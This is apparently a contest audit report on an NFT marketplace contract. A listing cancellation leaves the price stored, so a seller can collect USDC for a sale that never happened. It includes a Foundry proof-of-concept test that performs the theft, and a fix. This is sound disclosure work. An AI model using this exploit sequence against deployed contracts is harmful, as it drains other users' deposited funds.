NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

cancelListing leaves price intact, enabling collectUsdcFromSelling to steal funds without any sale

Author Revealed upon completion

Root + Impact

Description

  • When a seller cancels a listing via cancelListing, the function returns the minting collateral and sets isActive = false, but leaves s_listings[_listingId].price intact.

  • Since collectUsdcFromSelling only checks !listing.isActive and the price is still stored, a seller can cancel their listing and then call collectUsdcFromSelling to extract price - fees from the contract — funds that no buyer ever deposited.

function cancelListing(uint256 _listingId) external {
// ...
s_listings[_listingId].isActive = false; // @> sets stage for collectUsdcFromSelling
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
// @> BUG: s_listings[_listingId].price is never zeroed
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "..."); // @> passes after cancel
uint256 amountToSeller = listing.price - fees; // @> computes payout for non-existent sale
usdc.safeTransfer(msg.sender, amountToSeller); // @> steals from other users' funds
}

Risk

Likelihood:

  • This occurs every time a seller cancels a listing and then calls collectUsdcFromSelling — both are normal user-facing functions with no special permissions

  • Any whitelisted user can exploit this with a single mint + list + cancel + collect sequence

Impact:

  • Seller steals price - fees USDC per listing with zero net cost (collateral is returned on cancel, then price extracted on collect)

  • With price = 100 USDC and 1% fee: 99 USDC stolen per cycle, repeatable with each new NFT

  • Stolen USDC comes from other users' collateral deposits and uncollected sale proceeds

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockUSDC is ERC20 {
constructor() ERC20("USD Coin", "USDC") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
function decimals() public pure override returns (uint8) { return 6; }
}
contract CancelCollectTheftTest is Test {
NFTDealers dealers;
MockUSDC usdc;
address owner = makeAddr("owner");
address alice = makeAddr("alice");
uint256 constant LOCK = 20e6;
uint32 constant PRICE = 100e6;
function setUp() public {
usdc = new MockUSDC();
dealers = new NFTDealers(owner, address(usdc), "Dealers", "DEAL", "ipfs://", LOCK);
vm.startPrank(owner);
dealers.revealCollection();
dealers.whitelistWallet(alice);
vm.stopPrank();
usdc.mint(alice, 500e6);
vm.prank(alice);
usdc.approve(address(dealers), type(uint256).max);
// Seed contract with victim funds (5 users mint = 100 USDC collateral)
for (uint8 i; i < 5; i++) {
address v = makeAddr(string(abi.encodePacked("v", i)));
usdc.mint(v, 100e6);
vm.prank(v);
usdc.approve(address(dealers), type(uint256).max);
vm.prank(owner);
dealers.whitelistWallet(v);
vm.prank(v);
dealers.mintNft();
}
}
function test_cancelThenCollectSteals() public {
vm.startPrank(alice);
dealers.mintNft();
dealers.list(6, PRICE);
vm.stopPrank();
uint256 aliceBefore = usdc.balanceOf(alice);
vm.startPrank(alice);
dealers.cancelListing(6);
dealers.collectUsdcFromSelling(6);
vm.stopPrank();
uint256 aliceGain = usdc.balanceOf(alice) - aliceBefore;
assertEq(aliceGain, 119e6, "Alice got 119 USDC (20 collateral + 99 stolen)");
assertEq(usdc.balanceOf(address(dealers)), 1e6, "Victims' collateral drained");
}
}

Recommended Mitigation

cancelListing must zero the listing price to prevent collectUsdcFromSelling from computing a payout:

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].price = 0;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!